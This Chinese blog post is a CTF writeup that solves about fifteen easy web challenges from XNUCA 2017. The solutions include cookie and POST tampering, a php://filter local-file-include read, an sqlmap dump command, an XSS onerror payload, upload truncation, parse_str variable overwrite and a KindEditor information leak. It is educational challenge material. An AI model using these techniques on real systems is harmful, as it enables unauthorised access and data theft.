Chybeta

XNUCA 2017-Web专题赛前指导-部分简单题汇总-writeup

这些都是一些很简单的题。另有一些题会单独拿出来写。

捉迷藏

1
http://218.76.35.75:20111

查看源代码,发现链接:http://218.76.35.75:20111/Index.php
得到flag:

1
th!5!5n0tth3fl@g

简单问答

1
http://218.76.35.75:20112

回答三个问题,答案如下:

1
2
3
4
5
6
Q1) This is HT-CTF____" :
2016
Q2) Acronym for "laughing out loud" :
lol
Q3) Standard port for SSH :
22

首先用f12,将<input type="submit" disabled value="Submit Quiz">中的disabled去掉。选择对应的选项,然后用burp截包,截取得到的post包数据如下:

1
q1=2015&q2=lol+&q4=22&success=false

将2015改为2016,将lol+改为lol,将q4改为q3,将false改为true。如下:

1
q1=2016&q2=lol&q3=22&success=true

发包,得到flag:

1
W3ll_d0n3

后台后台后台

1
http://218.76.35.75:20113/

试着进入Admin Portal,同时用burp截包看看:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
POST / HTTP/1.1
Host: 218.76.35.75:20113
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:48.0) Gecko/20100101 Firefox/48.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://218.76.35.75:20113/
Cookie: PHPSESSID=lhempf2nd6m7oj4joinm11pmh7; User=JohnTan101; Member=Tm9ybWFs
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 17
adminportal=Enter

其中Cookie字段中,User为JohnTan101,Member为Tm9ybWFs,用base64解码后为Normal。
Forward掉后,页面返回提示:Only Member with Admin rights is allow to enter
将Admin进行base64加密后得到QWRtaW4=,作为Member的值,发包,得到flag:

1
C00ki3_n0m_n0m_n0m

php是最好的语言

login

1
http://218.76.35.75:20115/

进去后有三个功能:main显示主页,info显示phpinfo,login是登陆页面。访问时可以发现参数是page=main之类的。猜测有包含,可以利用php伪协议读取源码。

1
2
http://218.76.35.75:20115/
?page=php://filter/read=convert.base64-encode/resource=login

得到login的源码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php
$login=@$_POST['login'];
$password=@$_POST['password'];
if(@$login=="admin" && sha1(@$password)==$pwhash){
include('flag.txt');
}else if (@$login&&@$password&&@$_GET['debug']) {
echo "Login error, login credentials has been saved to ./log/".htmlentities($login).".log";
$logfile = "./log/".$login.".log";
file_put_contents($logfile, $login."\n".$password);
}
?>
<center>
login<br/><br/>
<form action="" method="POST">
<input name="login" placeholder="login"><br/>
<input name="password" placeholder="password"><br/><br/>
<input type="submit" value="Go!">
</form>
</center>

另外读取到index.php的源码

1
http://218.76.35.75:20115/?page=php://filter/read=convert.base64-encode/resource=index

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
$pwhash="ffd313052dab00927cb61064a392f30ee454e70f";
if (@$_GET['log']) {
if(file_exists($_GET['log'].".log")){
include("flag.txt");
}
}
if(@$_GET['page'] != 'index'){
include((@$_GET['page']?$_GET['page'].".php":"main.php"));
}
?>

我们先访问:

1
2
3
http://218.76.35.75:20115/?page=login&debug=1
POST: login=admin&password=1

然后页面会返回:Login error, login credentials has been saved to ./log/admin.log

接着返回index.php,借助index.php里的这个log,就可以得到flag:

1
http://218.76.35.75:20115/?log=./log/admin

最后的flag为:

1
10caL_File_1nc1usi0n_C@n_B3_fun

http 头注入

1
http://218.76.35.75:20121/

test.tx

1
2
3
4
5
6
7
8
9
GET /heetian.php HTTP/1.1
Host: 218.76.35.75:20121
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:48.0) Gecko/20100101 Firefox/48.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://218.76.35.75:20121/
Connection: close
Upgrade-Insecure-Requests: 1

用sqlmap跑:

1
python sqlmap.py -r test.txt --level 3 -D ctfweb20110 -T flag --dump

得到flag:

1
Y0ugetT82f00000laev

简单的文件上传

1
2
描述:上传php 文件就给你flag
http://218.76.35.75:20122

截断上传。
flag:

1
Upl00d30668ss9h97aFil3

简单的JS

1
http://218.76.35.75:20123/

查看源代码,将

1
2
p="60,105,102,114,97,109,101,32,104,101,105,103,1...12,34,62"
p=eval("String.fromCharCode("+p+")");

放到控制台里运行一下,得到如下结果:

1
<iframe height=0 width=0 src="./fl0a.php">

访问:

1
http://218.76.35.75:20123/fl0a.php

用burp查看返回包,在Cookie字段发现flag:

1
C00k1els60SecU5e

php 是门松散的语言

1
http://218.76.35.75:20124/

得到源代码,可知是变量覆盖问题,parse_str() 函数把查询字符串解析到变量中。

1
2
3
4
5
6
7
$he ='goodluck';
parse_str($_GET['heetian']);
if $he = 'abcd';
echo $flag;

访问:

1
2
http://218.76.35.75:20124/
?heetian=he=abcd

得到flag:

1
C00d1uckf0rY0uuu

试试xss

1
2
3
描述:alert document.domain
http://218.76.35.75:20125

fuzz一下,闭合前面的单引号:

1
#' onerror=alert(document.domain)

得到flag:

1
D0Gum6Ntd0M11n

简单的文件包含

1
2
3
描述:Flag 在/flag
http://218.76.35.75:20126

访问:

1
http://218.76.35.75:20126/index.php?page=/flag

查看源代码,得到:

1
flag: 62a72cb2f3d5e7fc0284da9f21e66c9f.php

访问:

1
http://218.76.35.75:20126/62a72cb2f3d5e7fc0284da9f21e66c9f.php

得到flag:

1
F11elNcLud3Get

简单的验证

1
2
3
描述:你不是amdin,没有权限查看flag
http://218.76.35.75:20127

截包,看Cookie字段:

1
Cookie: user=Bob; guess=999

题目的提示错了,应该是admin。
把Bob改为admin,然后guess用burp来爆破,得到flag:

1
EaSy70Ch1ngG00kie

GG

1
2
3
描述:游戏似乎很无聊啊
http://218.76.35.75:65380/

访问后查看源代码,有个 tetris.js 。前端游戏这种,往往是在打通关之类的会给一些奇葩的提示或者直接出flag。对代码进行美化后,比如搜索gameover。找到:

1
2
3
4
5
6
7
8
9
10
this.gameOver = function() {
b.stats.stop();
b.puzzle.stop();
document.getElementById("tetris-nextpuzzle").style.display = "none";
document.getElementById("tetris-gameover").style.display = "block";
if (this.highscores.mayAdd(this.stats.getScore())) {
var e = prompt("Game Over !\nEnter your name:", "");
e && e.trim().length && this.highscores.add(e, this.stats.getScore())
}
};

里面有mayAdd,找到一处:

1
2
3
4
5
this.mayAdd = function(a) {
if (this.scores.length < this.maxscores) return 1E6 < a && (a = new p, a.set("urlkey", "webqwer" [1] + "100.js", 864E5)), !0;
for (var b = this.scores.length - 1; 0 <= b; --b) if (this.scores[b].score < a) return 1E6 < a && (a = new p, a.set("urlkey", "webqwer" [1] + "100.js", 864E5)), !0;
return !1
};

"webqwer" [1] + "100.js",即e100.js。访问:

1
http://218.76.35.75:65380/e100.js

出现jsfuck编码,放到f12控制台里运行一下,得到flag:

1
oT0yTrjU0xhjhj2YTcT8jljMWpzS9tDk

Reappear

1
2
3
描述:网管说他安装了什么编辑器,但是似乎不太会用。。。
http://218.76.35.75:65180/

访问后有提示:

1
2
Kindeditor v4.1.7
something maybe in /kindeditor/

网上有对应的信息泄露漏洞。访问:

1
http://218.76.35.75:65180/kindeditor/php/file_manager_json.php

得到如下数据:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
/var/www/html/Web/kind/kindeditor/attached
{
"moveup_dir_path":"",
"current_dir_path":"",
"current_url":"\/kindeditor\/php\/..\/attached\/",
"total_count":2,
"file_list":[
{"is_dir":false,
"has_file":false,
"filesize":51,
"dir_path":"",
"is_photo":false,
"filetype":"php",
"filename":"flag_clue.php",
"datetime":"2015-11-16 21:58:28"
},
{"is_dir":false,
"has_file":false,
"filesize":28,
"dir_path":"",
"is_photo":false,
"filetype":"html",
"filename":"index.html",
"datetime":"2015-11-16 21:37:12"
}
]
}

里面有个 flag_clue.php 。访问:

1
http://218.76.35.75:65180/kindeditor/attached/flag_clue.php

得到:

1
=0nYvpEdhVmcnFUZu9GRlZXd7pzZhxmZ

脚本:

1
2
3
import base64
key = "=0nYvpEdhVmcnFUZu9GRlZXd7pzZhxmZ"
print(base64.b64decode(key[::-1]))

得到flag:

1
b'flag:{uveDoneAgreatJob}'

DrinkCoffee

1
2
3
描述:据说登录可以领到咖啡票,不过不知道密码哦……
http://218.76.35.75:65280/

访问了之后如下:

需要我们输入一个密码,还有就是ip限制的要求,和来源的要求。

ip可以通过 X-Forwarded-For 伪造。
来源 可以通过 Refferer 伪造。

抓包后可以看到头部有密码字段:

另外题目在form上加了一层图片,可以用firebug直接把图片去掉,然后就能submit密码了。

得到flag:

1
84294deb396ba4373c5ea8b73fa111b2

微信扫码加入知识星球【漏洞百出】
chybeta WeChat Pay

点击图片放大,扫码知识星球【漏洞百出】

本文标题:XNUCA 2017-Web专题赛前指导-部分简单题汇总-writeup

文章作者:chybeta

发布时间:2017年08月16日 - 19:08

最后更新:2017年08月18日 - 19:08

原始链接:http://chybeta.github.io/2017/08/16/XNUCA-2017-Web专题赛前指导-部分简单题汇总-writeup/

许可协议: 署名-非商业性使用-禁止演绎 4.0 国际 转载请保留原文链接及作者。